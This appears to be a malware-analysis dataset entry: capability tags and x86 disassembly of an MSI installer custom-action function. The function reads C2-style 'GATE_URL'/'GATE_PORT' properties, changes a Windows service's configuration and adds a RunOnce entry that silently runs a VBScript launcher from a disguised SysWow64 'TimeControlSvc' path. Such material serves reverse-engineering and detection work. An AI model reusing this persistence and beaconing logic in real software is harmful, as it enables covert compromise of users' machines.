Function at 0x100037c0
Capabilities:
Get common file path
Modify service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001abe0
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push esi
push edi
mov eax, dword [0x10027010]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x28], 0
mov esi, dword [ebp + 8]
push 0x10023fec
push esi
call fcn.100095a6
mov ebx, eax
mov dword [ebp - 0x2c], ebx
test ebx, ebx
jns 0x10003819
push str.Failed_to_initialize
push ebx
call fcn.10009b53
add esp, 8
jmp 0x10003e15
push str.Initialized.
push 2
call fcn.10009a92
mov edi, dword [sym.imp.msi.dll_MsiGetSummaryInformationW]
lea eax, [ebp + 8]
add esp, 8
mov dword [ebp + 8], 0
push eax
push 0x10024508
push str.GATE_URL
push esi
call edi
cmp eax, 0xea
jne 0x10003e15
inc dword [ebp + 8]
call fcn.10008b70
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x10003870
push 0x80004005
call fcn.10009010
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
jge 0x10003894
push 0x80070057
call fcn.10009010
mov ecx, dword [eax - 8]
mov edx, 1
sub edx, dword [eax - 4]
sub ecx, dword [ebp + 8]
or ecx, edx
jge 0x100038b4
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call fcn.10008fa0
mov eax, dword [ebp - 0x10]
lea ecx, [ebp + 8]
push ecx
push eax
push str.GATE_URL
push esi
call edi
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
push dword [ecx - 8]
push ecx
call fcn.1000a94b
mov edx, eax
add esp, 8
test edx, edx
js 0x1000388a
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ecx - 8]
jg 0x1000388a
mov dword [ecx - 0xc], edx
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov word [eax + edx*2], cx
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10003955
jg 0x100038fa
mov ebx, eax
jmp 0x10003903
movzx ebx, ax
or ebx, 0x80070000
mov eax, 0x80004005
test ebx, ebx
cmovns ebx, eax
push ebx
push 0x1a
push str.CA.cpp
call fcn.1000931e
push str.MsiGetProperty_failed.
push ebx
call fcn.10009b53
mov dword [ebp - 4], 0xffffffff
add esp, 8
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10003e15
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x10003e15
mov eax, dword [ebp - 0x10]
cmp dword [eax - 0xc], ecx
jne 0x10003969
mov dword [ebp - 4], 0xffffffff
lea edx, [eax - 0x10]
jmp 0x10003935
lea eax, [ebp + 8]
mov dword [ebp + 8], ecx
push eax
push 0x10024508
push str.GATE_PORT
push esi
call edi
cmp eax, 0xea
jne 0x10003a00
inc dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.100087f0
push ecx
mov byte [ebp - 4], 1
lea eax, [ebp - 0x18]
push dword [ebp + 8]
lea ecx, [ebp - 0x40]
push eax
call fcn.10004e80
lea ecx, [ebp + 8]
push ecx
push dword [eax + 4]
push str.GATE_PORT
push esi
call edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x24], eax
call fcn.10004ee0
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10003a0d
jg 0x100039ca
mov ebx, eax
jmp 0x100039d3
movzx ebx, ax
or ebx, 0x80070000
mov eax, 0x80004005
test ebx, ebx
cmovns ebx, eax
push ebx
push 0x28
push str.CA.cpp
call fcn.1000931e
push str.MsiGetProperty_failed.
push ebx
call fcn.10009b53
add esp, 8
lea ecx, [ebp - 0x18]
call fcn.10002600
lea ecx, [ebp - 0x10]
call fcn.10002600
jmp 0x10003e15
mov eax, dword [ebp - 0x18]
cmp dword [eax - 0xc], 0
je 0x100039f8
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push 0x10024508
push str.GATE_URL2
push esi
call edi
cmp eax, 0xea
jne 0x100039f8
inc dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.100087f0
push ecx
mov byte [ebp - 4], 2
lea eax, [ebp - 0x1c]
push dword [ebp + 8]
lea ecx, [ebp - 0x40]
push eax
call fcn.10004e80
lea ecx, [ebp + 8]
push ecx
push dword [eax + 4]
push str.GATE_URL2
push esi
call edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x24], eax
call fcn.10004ee0
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10003ab6
jg 0x10003a7b
mov ebx, eax
jmp 0x10003a84
movzx ebx, ax
or ebx, 0x80070000
mov eax, 0x80004005
test ebx, ebx
cmovns ebx, eax
push ebx
push 0x36
push str.CA.cpp
call fcn.1000931e
push str.MsiGetProperty_failed.
push ebx
call fcn.10009b53
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.10002600
jmp 0x100039f8
mov eax, dword [ebp - 0x1c]
cmp dword [eax - 0xc], 0
jne 0x10003acb
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10008780
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push 0x10024508
push str.GATE_PORT2
push esi
call edi
cmp eax, 0xea
jne 0x10003aa9
inc dword [ebp + 8]
lea ecx, [ebp - 0x20]
call fcn.100087f0
push ecx
mov byte [ebp - 4], 3
lea eax, [ebp - 0x20]
push dword [ebp + 8]
lea ecx, [ebp - 0x40]
push eax
call fcn.10004e80
lea ecx, [ebp + 8]
push ecx
push dword [eax + 4]
push str.GATE_PORT2
push esi
call edi
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.10004ee0
test esi, esi
je 0x10003b6f
jg 0x10003b2c
mov ebx, esi
jmp 0x10003b35
movzx ebx, si
or ebx, 0x80070000
mov eax, 0x80004005
test ebx, ebx
cmovns ebx, eax
push ebx
push 0x44
push str.CA.cpp
call fcn.1000931e
push str.MsiGetProperty_failed.
push ebx
call fcn.10009b53
add esp, 8
lea ecx, [ebp - 0x20]
call fcn.10002600
lea ecx, [ebp - 0x1c]
call fcn.10002600
jmp 0x100039f8
mov eax, dword [ebp - 0x20]
cmp dword [eax - 0xc], 0
jne 0x10003b84
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
call fcn.10008780
xor edi, edi
mov dword [ebp - 0x30], edi
xor esi, esi
mov dword [ebp - 0x34], esi
lea ecx, [ebp - 0x24]
call fcn.100087f0
lea ecx, [ebp - 0x14]
call fcn.100087f0
mov byte [ebp - 4], 7
lea eax, [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov edx, 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x38], 0xffffffff
mov ecx, dword [eax - 8]
sub edx, dword [eax - 4]
sub ecx, 0x104
or ecx, edx
jge 0x10003bd7
push 0x104
lea ecx, [ebp - 0x14]
call fcn.10008fa0
mov eax, dword [ebp - 0x14]
push 0x104
push eax
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea ecx, [ebp - 0x40]
mov ebx, eax
call fcn.10004ee0
test ebx, ebx
je 0x10003c0b
push 0x1002a5bc
lea ecx, [ebp - 0x24]
call fcn.10008780
push str.syswow64
jmp 0x10003c8f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x10003c69
lea eax, [ebp - 0x14]
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x40], eax
mov edx, 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax - 8]
sub edx, dword [eax - 4]
sub ecx, 0x104
or ecx, edx
jge 0x10003c4b
push 0x104
lea ecx, [ebp - 0x14]
call fcn.10008fa0
mov eax, dword [ebp - 0x14]
push 0x104
push eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x10003c69
mov bl, 1
jmp 0x10003c6b
xor bl, bl
test byte [ebp - 0x28], 1
je 0x10003c79
lea ecx, [ebp - 0x40]
call fcn.10004ee0
test bl, bl
je 0x10003c97
push 0x1002a5b8
lea ecx, [ebp - 0x24]
call fcn.10008780
push str.system32
lea ecx, [ebp - 0x14]
call fcn.100090f0
xor ebx, ebx
lea esp, [esp]
test edi, edi
jne 0x10003ccc
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
inc ebx
push 0x64
mov dword [ebp - 0x30], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 0xa
jl 0x10003ca0
test edi, edi
je 0x10003dce
xor ebx, ebx
mov edi, edi
test esi, esi
jne 0x10003d16
push 0xf01ff
push dword [0x1002a5a8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [ebp - 0x34], esi
test esi, esi
jne 0x10003d00
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
je 0x10003dce
push 0x64
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 0xa
jl 0x10003cd0
test esi, esi
je 0x10003dce
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
jne 0x10003dce
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x430
jne 0x10003dce
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
sub esp, 8
mov byte [ebp - 4], 8
push 0x2001f
sub esp, 8
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push ecx
lea ecx, [ebp - 0x40]
call fcn.10008040
test eax, eax
jne 0x10003dc6
lea ecx, [ebp - 0x28]
call fcn.100087f0
mov byte [ebp - 4], 9
lea eax, [ebp - 0x28]
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push dword [ebp - 0x18]
push dword [ebp - 0x10]
push dword [ebp - 0x24]
push dword [ebp - 0x14]
push str.wscript.exe___B_runhid.vbs__C:WindowsSysWow64TimeControlSvc_s_install____s:_s______s:_s___
push eax
call fcn.10008690
add esp, 0x1c
push dword [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x40]
call fcn.10007e70
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], eax
call fcn.10002600
lea ecx, [ebp - 0x40]
call fcn.10008200
lea ecx, [ebp - 0x14]
call fcn.10002600
lea ecx, [ebp - 0x24]
call fcn.10002600
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
je 0x10003deb
push esi
call ebx
test edi, edi
je 0x10003df2
push edi
call ebx
lea ecx, [ebp - 0x20]
call fcn.10002600
lea ecx, [ebp - 0x1c]
call fcn.10002600
lea ecx, [ebp - 0x18]
call fcn.10002600
lea ecx, [ebp - 0x10]
call fcn.10002600
mov ebx, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, 0x643
test ebx, ebx
cmovns eax, ecx
push eax
call fcn.1000953b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4